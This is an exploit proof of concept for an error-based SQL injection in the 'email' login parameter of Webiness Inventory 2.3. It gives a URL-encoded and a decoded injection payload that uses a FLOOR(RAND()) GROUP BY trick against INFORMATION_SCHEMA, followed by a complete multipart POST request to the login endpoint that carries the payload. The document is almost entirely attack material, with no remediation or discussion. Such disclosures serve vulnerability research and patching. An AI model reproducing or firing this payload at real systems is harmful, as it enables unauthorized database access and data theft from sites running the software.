Webiness Inventory 2.3 SQL Injection

`===========================================================================================  
# Exploit Title: Webiness Inventory 2.3 - 'email' SQL Vulnerability  
# Dork: N/A  
# Date: 10-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: https://sourceforge.net/projects/webinessinventory/files/  
# Software Link: hhttps://sourceforge.net/projects/webinessinventory/files/  
# Version: 2.3  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Small stock inventory managment application for web.  
===========================================================================================  
# POC - SQL  
# Parameters : email  
# Attack Pattern :  
-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27  
  
# POST Request:  
http://localhost/webiness/index.php?request=Wsauth/login/[SQL]  
# https://i.hizliresim.com/ADObQ7.jpg  
=========================================================================  
POST /webiness/index.php?request=Wsauth/login/ HTTP/1.1  
Host: localhost  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 458  
Content-Type: multipart/form-data; boundary=54a535315dda429db2f07895827ff1c6  
Cookie: PHPSESSID=6e5836p7djilmbh3bunro0ohu0  
Referer: http://localhost/webiness/  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/54.0.2840.99 Safari/537.36  
  
--54a535315dda429db2f07895827ff1c6  
Content-Disposition: form-data; name="email"  
  
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT  
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x  
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'  
--54a535315dda429db2f07895827ff1c6  
Content-Disposition: form-data; name="password"  
  
--54a535315dda429db2f07895827ff1c6--  
`